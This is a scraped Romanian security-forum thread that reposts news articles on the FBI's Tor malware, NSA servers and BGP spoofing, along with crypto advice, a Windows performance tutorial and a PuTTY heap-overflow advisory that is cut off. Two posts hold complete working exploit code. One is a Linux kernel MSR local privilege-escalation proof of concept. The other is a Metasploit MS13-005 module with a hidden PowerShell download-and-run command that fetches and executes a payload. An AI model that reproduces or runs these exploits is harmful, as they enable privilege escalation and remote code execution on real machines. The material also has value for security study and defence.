    1. RC4 nu se compara cu AES. EVITA RC4! Nu stiu care e cel mai bun, dar daca pe schimbul de chei (asimetric) ai o cheie RSA de 2048 de biti iar pentru cryptarea simetrica, AES, ai 256 de biti, ar trebui sa fie de ajuns sa nu iti faci probleme. Sugerez totusi folosirea curbelor eliptice (ECDH) pentru schimb de chei, iar pentru cryptarea simetrica, sa se foloseasca GCM-ul ca mod de functionare pentru AES. 2. Deoarece cu cat un algoritm e mai simplu, cu atat e mai usor de "spart". Nu stiu sa iti zic de ce, dar eu iau in considerare posibilitatea ca in cazul in care se intercepteaza date, guvernele sa poata "sparge" traficul cryptat. Teoretic, folosesc asta pentru compatibilitate si cu browsere mai vechi si pentru viteza mai mare de incarcare a paginilor. 3. Daca te referi la algoritm de cryptare simetrica, e cam inutil si foarte lent, practic nu ar avea rost. In cel mai rau caz 512 biti pentru cheie sunt de ajuns. Gandeste-te cat timp ar lua sa incerce cineva 2^512 (2 la puterea 512) de combinatii pentru o cheie... 4. Stiu ca a fost un concurs pe NIST, pentru un algoritm care sa inlocuiasca SHA-ul. Rezultatul, cel mai bun algoritm ales, este Keccak, adica da, SHA3. Daca esti paranoic, folosesti versiunea pe 512 biti, dar nu stiu daca e chiar asa necesara, deoarece e o functie pentru calcularea unui hash, deci pentru asigurarea integritatii datelor, nu pentru protejarea acestora.
  10. La final cred ca ar fi ok un examen din tot
  11. Win32 Egg Hunter http://www.youtube.com/watch?v=c630azKzxeM&feature=player_embedded Description: Detailed Tutorial on Win32 Egg Hunter Implementation. Ajin Abraham @ajinabraham Kerala Cyber Force www.keralacyberforce.in Sursa: Win32 Egg Hunter
  12. Feds Are Suspects in New Malware That Attacks Tor Anonymity By Kevin Poulsen 08.05.13 3:57 AM Security researchers tonight are poring over a piece of malicious software that takes advantage of a Firefox security vulnerability to identify some users of the privacy-protecting Tor anonymity network. The malware showed up Sunday morning on multiple websites hosted by the anonymous hosting company Freedom Hosting. That would normally be considered a blatantly criminal “drive-by” hack attack, but nobody’s calling in the FBI this time. The FBI is the prime suspect. “It just sends identifying information to some IP in Reston, Virginia,” says reverse-engineer Vlad Tsyrklevich. “It’s pretty clear that it’s FBI or it’s some other law enforcement agency that’s U.S.-based.” If Tsrklevich and other researchers are right, the code is likely the first sample captured in the wild of the FBI’s “computer and internet protocol address verifier,” or CIPAV, the law enforcement spyware first reported by WIRED in 2007. Court documents and FBI files released under the FOIA have described the CIPAV as software the FBI can deliver through a browser exploit to gather information from the target’s machine and send it to an FBI server in Virginia. The FBI has been using the CIPAV since 2002 against hackers, online sexual predators, extortionists, and others, primarily to identify suspects who are disguising their location using proxy servers or anonymity services, like Tor. The code has been used sparingly in the past, which kept it from leaking out and being analyzed or added to anti-virus databases. The broad Freedom Hosting deployment of the malware coincides with the arrest of Eric Eoin Marques in Ireland on Thursday on an U.S. extradition request. The Irish Independent reports that Marques is wanted for distributing child pornography in a federal case filed in Maryland, and quotes an FBI special agent describing Marques as “the largest facilitator of child porn on the planet.” Freedom Hosting has long been notorious for allowing child porn to live on its servers. In 2011, the hactivist collective Anonymous singled out Freedom Hosting for denial-of-service attacks after allegedly finding the firm hosted 95 percent of the child porn hidden services on the Tor network. Freedom Hosting is a provider of turnkey “Tor hidden service” sites — special sites, with addresses ending in .onion — that hide their geographic location behind layers of routing, and can be reached only over the Tor anonymity network. Tor hidden services are ideal for websites that need to evade surveillance or protect users’ privacy to an extraordinary degree – which can include human rights groups and journalists. But it also naturally appeals to serious criminal elements. Shortly after Marques’ arrest last week, all of the hidden service sites hosted by Freedom Hosting began displaying a “Down for Maintenance” message. That included websites that had nothing to do with child pornography, such as the secure email provider TorMail. Some visitors looking at the source code of the maintenance page realized that it included a hidden iframe tag that loaded a mysterious clump of Javascript code from a Verizon Business internet address located in Virginia. By midday Sunday, the code was being circulated and dissected all over the net. Mozilla confirmed the code exploits a critical memory management vulnerability in Firefox that was publicly reported on June 25, and is fixed in the latest version of the browser. Though many older revisions of Firefox are vulnerable to that bug, the malware only targets Firefox 17 ESR, the version of Firefox that forms the basis of the Tor Browser Bundle – the easiest, most user-friendly package for using the Tor anonymity network. “The malware payload could be trying to exploit potential bugs in Firefox 17 ESR, on which our Tor Browser is based,” the non-profit Tor Project wrote in a blog post Sunday. “We’re investigating these bugs and will fix them if we can.” The inevitable conclusion is that the malware is designed specifically to attack the Tor browser. The strongest clue that the culprit is the FBI, beyond the circumstantial timing of Marques’ arrest, is that the malware does nothing but identify the target. The payload for the Tor Browser Bundle malware is hidden in a variable called “magneto”. The heart of the malicious Javascript is a tiny Windows executable hidden in a variable named “Magneto.” A traditional virus would use that executable to download and install a full-featured backdoor, so the hacker could come in later and steal passwords, enlist the computer in a DDoS botnet, and generally do all the other nasty things that happen to a hacked Windows box. But the Magneto code doesn’t download anything. It looks up the victim’s MAC address — a unique hardware identifier for the computer’s network or Wi-Fi card — and the victim’s Windows hostname. Then it sends it to the Virginia server, outside of Tor, to expose the user’s real IP address, and coded as a standard HTTP web request. “The attackers spent a reasonable amount of time writing a reliable exploit, and a fairly customized payload, and it doesn’t allow them to download a backdoor or conduct any secondary activity,” says Tsyrklevich, who reverse-engineered the Magneto code. The malware also sends, at the same time, a serial number that likely ties the target to his or her visit to the hacked Freedom Hosting-hosted website. In short, Magneto reads like the x86 machine code embodiment of a carefully crafted court order authorizing an agency to blindly trespass into the personal computers of a large number of people, but for the limited purpose of identifying them. But plenty of questions remain. For one, now that there’s a sample of the code, will anti-virus companies start detecting it? Update 8.5.13 12:50: According to Domaintools, the malware’s command-and-control IP address in Virginia is allocated to Science Applications International Corporation. Based in McLean, Virginia, SAIC is a major technology contractor for defense and intelligence agencies, including the FBI. I have a call in to the firm. 13:50 Tor Browser Bundle users who installed or manually updated after June 26 are safe from the exploit, according to the Tor Project’s new security advisory on the hack. 14:30: SAIC has no comment. 15:10: There are incorrect press reports circulating that the command-and-control IP address belongs to the NSA. Those reports are based on a misreading of domain name resolution records. The NSA’s public website, NSA.gov, is served by the same upstream Verizon network as the Tor malware command-and-control server, but that network handles tons of government agencies and contractors in the Washington DC area. 8.6.13 17:10: SAIC’s link to the IP addresses may be an error in Domaintools’ records. The official IP allocation records maintained by the American Registry for Internet Numbers show the two Magneto-related addresses are not part of SAIC’s publicly-listed allocation. They’re part of a ghost block of eight IP addresses that have no organization listed. Those addresses trace no further than the Verizon Business data center in Ashburn, Virginia, 20 miles northwest of the Capital Beltway. (Hat tip: Michael Tigas) Sursa: Feds Are Suspects in New Malware That Attacks Tor Anonymity | Threat Level | Wired.com
  13. Nytro

    .

    Da, e super, pacat ca foloseste MHook, era mai 1337 fara sa foloseasca...
  14. CAZUL DE SPIONAJ INFORMATIC: Un server apar?inând NSA s-ar afla ?i în România. HARTA ??rilor în care ar exista servere de Valentin Vidu - Mediafax Site-ul Cryptome.org a publicat o list? de ??ri ?i un planiglob pe care sunt marcate puncte ro?ii despre care afirm? c? "ar putea fi locuri simbolice sau ar putea indica (existen?a) unor servere X-Keyscore apar?inând NSA la ambasade ale Statelor Unite", inclusiv în România. Potrivit site-ului, care nu precizeaz? vreo surs?, de?i unele locuri în care se afl? servere sunt cunoscute ca "sta?ii de spionaj NSA-Echeleon în cadrul Five-Eyes - Statele Unite, Marea Britanie, Canada, Australia ?i Noua Zeeland? -, multe dintre locurile serverelor sunt marcate în capitalele acestor state sau în apropiere de capitale". Site-ul consider? o "surpriz?" punctul de la Moscova ?i noteaz? c? alt punct apare în partea central? din sudul Chinei, departe de Beijing, apreciind c? ar fi un "server clandestin". De asemenea, site-ul remarc?c? sta?ia NSA din Hawaii, unde a lucrat Edward Snowden, nu apare pe hart?. Pe planiglob sunt marcate aproximativ 85 de puncte în care s-ar afla "aproximativ 150 de situri", 25 de puncte aflându-se pe coastele Antarcticii. Puncte ro?ii apar, de asemenea, în 51 de ??ri. Cea mai dens? concentrare este în Europa, Orientul Mijlociu, Asia de Sud ?i America Central?, observ? site-ul, care subliniaz? c? "niciunul nu apare în zone ca Norvegia, Suedia, Islanda, Canada, în cea mai parte din America de Sud, Pacific ?i insulele din Atlantic. Cryptome.org consider? c? "ar fi logic ca Agen?ia Na?ional? american? pentru Securitate (NSA) s? utilizeze ambasadele americane ca pe avanposturi pentru colectarea (datelor) comunica?iilor locale cu ajutorul X-Keyscore", notând c? ambasadele au fost folosite pentru "întregul spectru al spionajului în toate formele ?i deghiz?rile sale, militar, politic, economic, social" ?i conchizând c? "ad?ugarea aspectului cibernetic era inevitabil?". Site-ul argumenteaz? c? ambasadele de?in re?ele multiple de comunicare de la cele mai de jos nivele de securitate, pân? la cele mai înalte. Aceea?i surs? adaug? c? alte noi dezv?luiri de documente provenind de la Edward Snowden ar putea s? descrie cum este realizat acest lucru de c?tre personal, re?ele ?i arhitectura serverelor de date, nu doar prin programele PRISM ?i X-Keyscore. Cryptome.org este o bibliotec? digital? pentru g?zduire, creat? în 1996 de c?tre cercet?tori americani independen?i ?i arhitec?ii John Young ?i Deborah Natsios. Biblioteca func?ioneaz? ca loc de stocare a unor informa?ii despre libertatea de exprimare, criptografie, spionaj ?i supraveghere. Cryptome î?i asum? ca misiune, pe site, "s? primeasc? spre publicare documente care sunt interzise de guverne în întreaga lume, în particular materiale despre libertatea de exprimare, confiden?ialitate, criptologie, tehnologii cu dubl? utilizare, securitatea na?ional?, informa?ii (secrete) ?i guvernan?? secret? - documente declasificate, secrete ?i clasificate - dar nu se limiteaz? doar la acestea". Sursa: CAZUL DE SPIONAJ INFORMATIC: Un server apar?inând NSA s-ar afla ?i în România. HARTA ??rilor în care ar exista servere - Mediafax
  15. Da, tot 17 ramane, dar include patch-urile necesare: https://blog.torproject.org/blog/tor-security-advisory-old-tor-browser-bundles-vulnerable
  16. Da. Cei care inca nu aveti Firefox 22 ati face bine sa faceti update. Si e un exemplu bun de a contrazice "Firefox e mai sigur ca IE". Bine, folositi Chrome.
  17. [h=1]Linux Kernel 'MSR' Driver Local Privilege Escalation[/h] // PoC exploit for /dev/cpu/*/msr, 32bit userland on a 64bit host// can do whatever in the commented area, re-enable module support, etc // requires CONFIG_X86_MSR and just uid 0 // a small race exists between the time when the MSR is written to the first // time and when we issue our sysenter // we additionally require CAP_SYS_NICE to make the race win nearly guaranteed // configured to take a hex arg of a dword pointer to set to 0 // (modules_disabled, selinux_enforcing, take your pick) // // Hello to Red Hat, who has shown yet again to not care until a // public exploit is released. Not even a bugtraq entry existed in // their system until this was published -- and they have a paid team // of how many? // It's not as if I didn't mention the problem and existence of an easy // exploit multiple times prior: // // // // // // // // spender 2013 #define _GNU_SOURCE #include <stdio.h> #include <sched.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdlib.h> #include <sys/time.h> #include <sys/resource.h> #include <sys/mman.h> #define SYSENTER_EIP_MSR 0x176 u_int64_t msr; unsigned long ourstack[65536]; u_int64_t payload_data[16]; extern void *_ring0; extern void *_ring0_end; void ring0(void) { __asm volatile(".globl _ring0\n" "_ring0:\n" ".intel_syntax noprefix\n" ".code64\n" // set up stack pointer with 'ourstack' "mov esp, ecx\n" // save registers, contains the original MSR value "push rax\n" "push rbx\n" "push rcx\n" "push rdx\n" // play with the kernel here with interrupts disabled! "mov rcx, qword ptr [rbx+8]\n" "test rcx, rcx\n" "jz skip_write\n" "mov dword ptr [rcx], 0\n" "skip_write:\n" // restore MSR value before returning "mov ecx, 0x176\n" // SYSENTER_EIP_MSR "mov eax, dword ptr [rbx]\n" "mov edx, dword ptr [rbx+4]\n" "wrmsr\n" "pop rdx\n" "pop rcx\n" "pop rbx\n" "pop rax\n" "sti\n" "sysexit\n" ".code32\n" ".att_syntax prefix\n" ".global _ring0_end\n" "_ring0_end:\n" ); } unsigned long saved_stack; int main(int argc, char *argv[]) { cpu_set_t set; int msr_fd; int ret; u_int64_t new_msr; struct sched_param sched; u_int64_t resolved_addr = 0ULL; if (argc == 2) resolved_addr = strtoull(argv[1], NULL, 16); /* can do this without privilege */ mlock(_ring0, (unsigned long)_ring0_end - (unsigned long)_ring0); mlock(&payload_data, sizeof(payload_data)); CPU_ZERO(&set); CPU_SET(0, &set); sched.sched_priority = 99; ret = sched_setscheduler(0, SCHED_FIFO, &sched); if (ret) { fprintf(stderr, "Unable to set priority.\n"); exit(1); } ret = sched_setaffinity(0, sizeof(cpu_set_t), &set); if (ret) { fprintf(stderr, "Unable to set affinity.\n"); exit(1); } msr_fd = open("/dev/cpu/0/msr", O_RDWR); if (msr_fd < 0) { msr_fd = open("/dev/msr0", O_RDWR); if (msr_fd < 0) { fprintf(stderr, "Unable to open /dev/cpu/0/msr\n"); exit(1); } } lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET); ret = read(msr_fd, &msr, sizeof(msr)); if (ret != sizeof(msr)) { fprintf(stderr, "Unable to read /dev/cpu/0/msr\n"); exit(1); } // stuff some addresses in a buffer whose address we // pass to the "kernel" via register payload_data[0] = msr; payload_data[1] = resolved_addr; printf("Old SYSENTER_EIP_MSR = %016llx\n", msr); fflush(stdout); lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET); new_msr = (u_int64_t)(unsigned long)&_ring0; printf("New SYSENTER_EIP_MSR = %016llx\n", new_msr); fflush(stdout); ret = write(msr_fd, &new_msr, sizeof(new_msr)); if (ret != sizeof(new_msr)) { fprintf(stderr, "Unable to modify /dev/cpu/0/msr\n"); exit(1); } __asm volatile( ".intel_syntax noprefix\n" ".code32\n" "mov saved_stack, esp\n" "lea ecx, ourstack\n" "lea edx, label2\n" "lea ebx, payload_data\n" "sysenter\n" "label2:\n" "mov esp, saved_stack\n" ".att_syntax prefix\n" ); printf("Success.\n"); return 0; } Sursa: Linux Kernel 'MSR' Driver Local Privilege Escalation
  18. [h=1]MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation[/h] ## # ## This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/exploit/exe' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::Powershell include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpServer include Msf::Exploit::FileDropper include Msf::Post::File def initialize(info={}) super( update_info( info, 'Name' => 'MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation', 'Description' => %q{ The Windows kernel does not properly isolate broadcast messages from low integrity applications from medium or high integrity applications. This allows commands to be broadcasted to an open medium or high integrity command prompts allowing escalation of privileges. We can spawn a medium integrity command prompt, after spawning a low integrity command prompt, by using the Win+Shift+# combination to specify the position of the command prompt on the taskbar. We can then broadcast our command and hope that the user is away and doesn't corrupt it by interacting with the UI. Broadcast issue affects versions Windows Vista, 7, 8, Server 2008, Server 2008 R2, Server 2012, RT. But Spawning a command prompt with the shortcut key does not work in Vista so you will have to check if the user is already running a command prompt and set SPAWN_PROMPT false. The WEB technique will execute a powershell encoded payload from a Web location. The FILE technique will drop an executable to the file system, set it to medium integrity and execute it. The TYPE technique will attempt to execute a powershell encoded payload directly from the command line but it may take some time to complete. }, 'License' => MSF_LICENSE, 'Author' => [ 'Tavis Ormandy', # Discovery 'Axel Souchet', # @0vercl0k POC 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit module ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86 } ], [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] ], 'DefaultTarget' => 0, 'DisclosureDate'=> "Nov 27 2012", 'References' => [ [ 'CVE', '2013-0008' ], [ 'MSB', 'MS13-005' ], [ 'OSVDB', '88966'], [ 'URL', 'http://blog.cmpxchg8b.com/2013/02/a-few-years-ago-while-working-on.html' ] ] )) register_options( [ OptBool.new('SPAWN_PROMPT', [true, 'Attempts to spawn a medium integrity command prompt', true]), OptEnum.new('TECHNIQUE', [true, 'Delivery technique', 'WEB', ['WEB','FILE','TYPE']]), OptString.new('CUSTOM_COMMAND', [false, 'Custom command to type']) ], self.class ) end def low_integrity_level? tmp_dir = expand_path("%USERPROFILE%") cd(tmp_dir) new_dir = "#{rand_text_alpha(5)}" begin session.shell_command_token("mkdir #{new_dir}") rescue return true end if directory?(new_dir) session.shell_command_token("rmdir #{new_dir}") return false else return true end end def win_shift(number) vk = 0x30 + number bscan = 0x81 + number client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 0, 0) client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 0, 0) client.railgun.user32.keybd_event(vk, bscan, 0, 0) client.railgun.user32.keybd_event(vk, bscan, 'KEYEVENTF_KEYUP', 0) client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 'KEYEVENTF_KEYUP', 0) client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 'KEYEVENTF_KEYUP', 0) end def count_cmd_procs count = 0 client.sys.process.each_process do |proc| if proc['name'] == 'cmd.exe' count += 1 end end vprint_status("Cmd prompt count: #{count}") return count end def cleanup if datastore['SPAWN_PROMPT'] and @hwin vprint_status("Rehiding window...") client.railgun.user32.ShowWindow(@hwin, 0) end super end def exploit # First of all check if the session is running on Low Integrity Level. # If it isn't doesn't worth continue print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil? fail_with(Exploit::Failure::NotVulnerable, "Not running at Low Integrity!") unless low_integrity_level? # If the user prefers to drop payload to FILESYSTEM, try to cd to %TEMP% which # hopefully will be "%TEMP%/Low" (IE Low Integrity Process case) where a low # integrity process can write. drop_to_fs = false if datastore['TECHNIQUE'] == 'FILE' payload_file = "#{rand_text_alpha(5+rand(3))}.exe" begin tmp_dir = expand_path("%TEMP%") tmp_dir << "\\Low" unless tmp_dir[-3,3] =~ /Low/i cd(tmp_dir) print_status("Trying to drop payload to #{tmp_dir}...") if write_file(payload_file, generate_payload_exe) print_good("Payload dropped successfully, exploiting...") drop_to_fs = true register_file_for_cleanup(payload_file) payload_path = tmp_dir else print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.") drop_to_fs = false end rescue ::Rex::Post::Meterpreter::RequestError print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.") drop_to_fs = false end end if drop_to_fs command = "cd #{payload_path} && icacls #{payload_file} /setintegritylevel medium && #{payload_file}" make_it(command) elsif datastore['TECHNIQUE'] == 'TYPE' if datastore['CUSTOM_COMMAND'] command = datastore['CUSTOM_COMMAND'] else print_warning("WARNING: It can take a LONG TIME to broadcast the cmd script to execute the psh payload") command = cmd_psh_payload(payload.encoded) end make_it(command) else super end end def primer url = get_uri() download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))" command = "powershell.exe -w hidden -nop -ep bypass -c #{download_and_run}" make_it(command) end def make_it(command) if datastore['SPAWN_PROMPT'] @hwin = client.railgun.kernel32.GetConsoleWindow()['return'] if @hwin == nil @hwin = client.railgun.user32.GetForegroundWindow()['return'] end client.railgun.user32.ShowWindow(@hwin, 0) client.railgun.user32.ShowWindow(@hwin, 5) # Spawn low integrity cmd.exe print_status("Spawning Low Integrity Cmd Prompt") windir = client.fs.file.expand_path("%windir%") li_cmd_pid = client.sys.process.execute("#{windir}\\system32\\cmd.exe", nil, {'Hidden' => false }).pid count = count_cmd_procs spawned = false print_status("Bruteforcing Taskbar Position") 9.downto(1) do |number| vprint_status("Attempting Win+Shift+#{number}") win_shift(number) sleep(1) if count_cmd_procs > count print_good("Spawned Medium Integrity Cmd Prompt") spawned = true break end end client.sys.process.kill(li_cmd_pid) fail_with(Exploit::Failure::Unknown, "No Cmd Prompt spawned") unless spawned end print_status("Broadcasting payload command to prompt... I hope the user is asleep!") command.each_char do |c| print c if command.length < 200 client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', c.unpack('c').first, 0) end print_line print_status("Executing command...") client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', 'VK_RETURN', 0) end def on_request_uri(cli, request) print_status("Delivering Payload") data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded) send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) end end Sursa: MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation
  19. [h=1]Defrag Tools: #50 - WPT - Memory Analysis - Heap[/h] Posted: 14 hours ago By: Larry Larsen, Andrew Richards, Chad Beeder [h=3]Download[/h] [h=3]How do I download the videos?[/h] To download, right click the file type you would like and pick “Save target as…” or “Save link as…” [h=3]Why should I download videos from Channel9?[/h] It's an easy way to save the videos you like locally. You can save the videos in order to watch them offline. If all you want is to hear the audio, you can download the MP3! [h=3]Which version should I choose?[/h] If you want to view the video on your PC, Xbox or Media Center, download the High Quality WMV file (this is the highest quality version we have available). If you'd like a lower bitrate version, to reduce the download time or cost, then choose the Medium Quality WMV file. If you have a Zune, Windows Phone, iPhone, iPad, or iPod device, choose the low or medium MP4 file. If you just want to hear the audio of the video, choose the MP3 file. Right click “Save as…” MP3 (Audio only) [h=3]File size[/h] 11.7 MB MP4 (iPod, Zune HD) [h=3]File size[/h] 75.4 MB Mid Quality WMV (Lo-band, Mobile) [h=3]File size[/h] 38.7 MB High Quality MP4 (iPad, PC) [h=3]File size[/h] 163.7 MB Mid Quality MP4 (Windows Phone, HTML5) [h=3]File size[/h] 114.4 MB High Quality WMV (PC, Xbox, MCE) In this episode of Defrag Tools, Andrew Richards, Chad Beeder and Larry Larsen continue walking you through the Windows Performance Toolkit (WPT). This is part 3 of 3 episodes on memory usage/leaks. Example xPerf scripts. Resources: Aaron Margosis VirtMemTest Timeline: [00:00] - 50th Episode of Defrag Tools! [01:20] - Attach: xperf -start HeapSession -heap -pids %1 -stackwalk ... [03:28] - VirtMemTest [04:54] - WPA [06:22] - Type - Allocated Inside (AI) & Outside (AO), Freed Inside (FI) & Outside (FO) [07:20] - Launch: Image File Execution Options [07:51] - Launch: xperf -start HeapSession -heap -pids 0 -stackwalk ... [08:40] - Registry Editor - IFEO [10:26] - WPA [11:06] - Type - Allocated Inside (AI) & Outside (AO), Freed Inside (FI) & Outside (FO) [11:25] - Summary - AIFO Example: "xperf - Collect Heap_Attach.cmd" @echo off echo Press a key when ready to start... pause echo . echo ...Capturing... echo . xperf -on PROC_THREAD+LOADER+VIRT_ALLOC -stackwalk VirtualAlloc+VirtualFree -BufferSize 1024 -MinBuffers 256 -MaxBuffers 256 -MaxFile 256 -FileMode Circular xperf -start HeapSession -heap -pids %1 -stackwalk HeapAlloc+HeapRealloc -BufferSize 1024 -MinBuffers 256 -MaxBuffers 256 -MaxFile 256 -FileMode Circular echo Press a key when you want to stop... pause echo . echo ...Stopping... echo . xperf -stop -stop HeapSession -d heap.etl Example: "xperf - Collect Heap_Launch.cmd" @echo off echo Press a key when ready to start... pause echo . echo ...Capturing... echo . rem Add the process to IFEO reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%1.exe" /v TracingFlags /t REG_DWORD /d 1 /f xperf -on PROC_THREAD+LOADER+VIRT_ALLOC -BufferSize 1024 -MinBuffers 256 -MaxBuffers 256 -stackwalk VirtualAlloc xperf -start HeapSession -heap -pids 0 -stackwalk HeapAlloc+HeapRealloc -BufferSize 1024 -MinBuffers 256 -MaxBuffers 256 -MaxFile 256 -FileMode Circular echo Press a key when you want to stop... pause echo . echo ...Stopping... echo . xperf -stop HeapSession -stop -d heap.etl rem Remove the process from IFEO reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%1.exe" /v TracingFlags /f Sursa: Defrag Tools: #50 - WPT - Memory Analysis - Heap | Defrag Tools | Channel 9
  20. BGP spoofing - why nothing on the internet is actually secure Summary: A skilled attacker with access to the right router can co-opt routes to destination IP address. When this happens, nothing on the internet is trustworthy. And there's no way to stop it. By Larry Seltzer for Zero Day | August 6, 2013 -- 04:00 GMT (21:00 PDT) The scariest hack of them all on the internet has been around for a long time, but it doesn't get a lot of attention in the broader tech press. It's BGP spoofing and it compromises the most basic functions of the internet: the routing of data from one system to another. Effective use of BGP spoofing is not within the reach of script kiddies, but there's a lot of it going on. How much? Nobody knows and nobody can know. It's possible to detect that an attack is going on, but it's impossible to prevent it and it may be difficult to stop an attack in progress. I spoke with Dave Rand, Technical Fellow at Trend Micro. Back in the mid-90's Rand worked at an ISP and first encountered BGP spoofing used to facilitate spamming. The routing in the mail headers of the spam looked particularly genuine because all the addresses were correct. At the bottom of it was a compromised router at an ISP. I've spoken to Dave many times over the years about BGP spoofing. He's always considered it a very serious problem that is fundamentally insolvable and I'd like to thank him for all the information below. How is all this possible? It starts with the very basics of how the internet works. The internet is a network of networks. Routers are used to move data between networks according to IP addresses that are stored in their routing tables. Routers will advertise to each other that they use certain addresses. But — and this is very important — there is no authority to check to confirm that a particular address belongs to a particular network. There are organizations, such as RIPE in Europe and ARIN for the US and Canada, which allocate IP addresses (all they have left is IPv6 addresses), but there's no where you can check to confirm an allocation authoritatively. Because of this, the updating of routing tables is done entirely on trust. Consider this simplistic example: ISP1 has the address space 1.0.0.0/8 and ISP2 has 2.0.0.0/8. They each advertise their space to the other. Now ISP3 advertises 3.0.0.0/8 to ISP1 and asks ISP1 to advertise its addresses, which it does. ISP1 becomes a transit provider for ISP3, a service for which ISP3 pays ISP1. But ISP1 has no real way to confirm that ISP3's advertisements are accurate. Here's another important point: shorter routes get higher priority from the router. If ISP3 were to advertise a small subset of addresses to ISP1 with shorter paths than what ISP1 already had, ISP1 would follow those routes instead of what was already in the routing table. It's important to note that in order to execute this attack you need control of an ISP router. You might think that this would be hard to do, and it's harder than it used to be, but it's not impossible. It's still possible to find routers with default admin passwords or passwords on a common dictionary list. And once you do and take control, there's nothing to stop you from advertising Bank of America addresses on your network. I suspect that the large majority of erroneous advertisements are, well, erroneous. They're not malicious, they're just screwups. There was a recent incident where some bad routes in NedZone Internet BV's network included Amazon.com and a bunch of big banks. It looks way too brazen to be an attack. If you really wanted to be effective and surreptitious with such an attack you'd be lower-profile. You'd attack the router of a small or mid-size ISP and you'd only advertise it for a short time, but during that time you'd have other attacks, like cross-site scripting and targeted spam, ongoing against that ISP's users. When they attempt to communicate with their bank or retailer they will instead go to your servers; you can spoof those servers, see the cookies, it all depends on how ornate you want to get, but all you really need is to get users to log on to the site, which can satisfy SSL and get the little lock icon because the attacker can control those addresses too. Once you have validated logins for those accounts you can sell them for a lot. Sometimes malicious attacks are not for profit, but just network vandalism. In 2008 there was a dispute between YouTube and the government of Pakistan about certain content. Sometime later false BGP routes pointed YouTube traffic in much of Europe to Pakistan Telecom, stealing traffic from YouTube but also flooding Pakistan Telecom with all of YouTube's traffic. RIPE, the regional internet registry for Europe, has . After an attack like this there may be no footprints left. Nobody logs router advertisements. There are groups that log and analyze the global routing table, such as the fascinating CIDR Report, and look for routes that don't make sense. But these only catch changes that propagate out to the global routing table. A transient advertisement which only goes to an ISP's peer and not a transit provider won't get to the global table. And even if it does, by the time anyone can see what's going on it will be too late. It's impossible to block BGP spoofing attacks in a consistent, automated fashion, but it is possible to apply some common sense and experience, what you might call heuristics, to determine that a route isn't kosher. If a small ISP in Brazil starts advertising routes to PayPal then an experienced CNE might think twice about replicating it. But these things don't usually get vetted by a human being; there's too much going on. All ISPs advertise their routes to the other networks to which they connect and these companies (there are 30 or 40 thousand ISPs now) have a relationship and contracts, so they trust each other. And if they wanted to check the addresses they couldn't; there's no authoritative place to check. You might complain that best administration practices, such as good route filtering, would prevent these attacks, and there's something to that. You can certainly prevent a lot of them with best practices. There are other practices that can make it harder to exploit such attacks successfully, such as using strong encryption and authentication for all local traffic, but there's no technique that will block these attacks in all cases. If you find out that an ISP has bogus routes to your network what can you do? All you can do is call them and ask them (nicely or otherwise) to withdraw the route, but you can't make them. If they don't respond adequately you can complain to their upstream providers and ask them to block the route, but once again there is no official mechanism for doing this because there is no authority in charge of it, and you probably don't even have a relationship with the ISP to which you're complaining. Of all the attacks happening under the radar on the internet, the most dangerous ones are likely based on BGP spoofing. It's the best reason to assume that a lot more network compromising, by criminal and government actors, is happening than is officially acknowledged, and even the officials don't really know how much is happening. What can be done? If Dave Rand doesn't know then I sure don't. Sursa: BGP spoofing - why nothing on the internet is actually secure | ZDNet
  21. PuTTY 0.62 Heap Overflow Authored by Gergely Eberhardt PuTTY versions 0.62 and below suffer from an SSH handshake heap overflow vulnerability. PuTTY SSH handshake heap overflow (CVE-2013-4852) Description: PuTTY versions 0.62 and earlier - as well as all software that integrates these versions of PuTTY - are vulnerable to an integer overflow leading to heap overflow during the SSH handshake before authentication, caused by improper bounds checking of the length parameter received from the SSH server. This allows remote attackers to cause denial of service, and may have more severe impact on the operation of software that uses PuTTY code. Affected software products: - PuTTY up to and including 0.62 - WinSCP before 5.1.6 - all other software that uses vulnerable (revision 9895 or earlier) PuTTY code Details: A malformed size value in the SSH handshake could cause an integer overflow, as the getstring() function in sshrsa.c and sshdss.c read the handshake message length without checking that it was not a negative number. Specifically, the bignum_from_bytes() function invoked by getstring() received a data buffer along with its length represented by a signed integer (nbytes) and performed the following arithmetical operation before allocating memory to store the buffer: w = (nbytes + BIGNUM_INT_BYTES - 1) / BIGNUM_INT_BYTES; /* bytes->words */ result = newbn(w); If the value of nbytes was -1 (0xffffffff), the value of w would overflow to a very small positive number (depending on the value of BIGNUM_INT_BYTES), causing newbn() to reserve a very small memory area. Then a large number of bytes would be copied into the data buffer afterwards, resulting in a heap overflow. Similarly, if nbytes was chosen so that w would be -1, the newbn() function would allocate zero bytes in memory via snewn() and attempt to write the size of the Bignum (in four bytes) into the allocated zero-byte area, also resulting in a heap overflow. Consequences: In the standalone PuTTY client the attacker does not have precise control over the memory corruption, so this bug can only cause a local denial-of-service (crash). However, in 